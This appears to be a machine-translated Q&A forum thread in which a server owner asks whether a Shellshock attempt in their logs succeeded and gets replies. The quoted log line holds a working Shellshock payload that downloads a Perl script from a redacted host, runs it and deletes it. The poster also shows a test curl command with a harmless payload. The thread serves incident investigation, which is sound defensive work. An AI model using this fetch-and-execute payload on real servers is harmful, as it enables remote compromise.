今日ログを調べていたところ、次のことに気づきました。
62.219.116.107 - - [26/Dec/2016:15:16:08 -0100] "GET / HTTP/1.0" 200 13501 "-" "() { :;}; /bin/bash -c \"wget http://[redacted]/bo.pl -O /tmp/bo.pl;curl -o /tmp/bo.pl http://[redacted]/bo.pl;chmod +x /tmp/bo.pl;Perl /tmp/bo.pl;rm -rf /tmp/bo*\""
私が理解しているように、これはShellshockの脆弱性をスキャンする試みです。私はbo.plをロードしたファイルを取得しました-これには以下が含まれています...
<html>
<head>
<meta HTTP-EQUIV="REFRESH" content="0; url=http://192.168.1.1/blocking.asp?cat_id=78">
</head>
<body></body>
</html>
私が理解しているように、これは更新テクニックを使用して、ある種のblocking.aspページを表示しています。
これが悪意のある攻撃であるという証拠を考えると、私は前向きです。ログで気になるのは、応答の長さが13501であるというログです。しかし、単純なShellshockヘッダーを使用して機能をテストしようとしたとき...
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
次のログエントリのみを受け取りました...
71.121.200.199 - - [26/Dec/2016:18:14:11 -0100] "GET / HTTP/1.1" 200 22 "-" "() { :; }; /bin/eject"
また、/ tmpディレクトリを確認したところ、ログの時刻に正確に対応していない2つのファイルが見つかりましたが、それらはヘッドレスサーバーとして疑わしく見え、これらは何らかのリモートデスクトップサービスにリンクされているようです。
-rw-r--r-- 1 0 0 8 Dec 25 03:46 httpd_lua_shm.2693
drwxrwxrwt 2 0 0 4096 Dec 24 18:42 .ICE-unix
だから私の質問は-応答のバイトが非常に大きいという事実のためにこれは成功した攻撃のように見えますか?何が起こったかの手掛かりを探すために、bashの履歴などのほかにどこにチェックすべきですか?
Now as I understand it this is using the refresh technique to display a blocking.asp page of some sort.
リクエストしたときに返されたページ http:// [redacted] /bo.pl は、Asus WRTによって提供されるブロックページです https://github.com/RMerl /asuswrt-merlin/blob/master/release/src/router/www/blocking.asp
["Home Protection", "78", "Malicious site blocked", "", "Sites used by malicious programs, including sites used to Host upgrades or store stolen information."]
Bo.plはPerlスクリプトである必要があります。攻撃はそれをダウンロードして実行し、システムから削除しようとしました。システム実行ログがある場合は、それが実行されたかどうかを確認できるはずです。
サーバーで同じことを試してください。あなたのリクエストで私が見た唯一の違いは、使用されているHTTPバージョン(1対1.1)であるため、異なるバイト数を処理した可能性があります。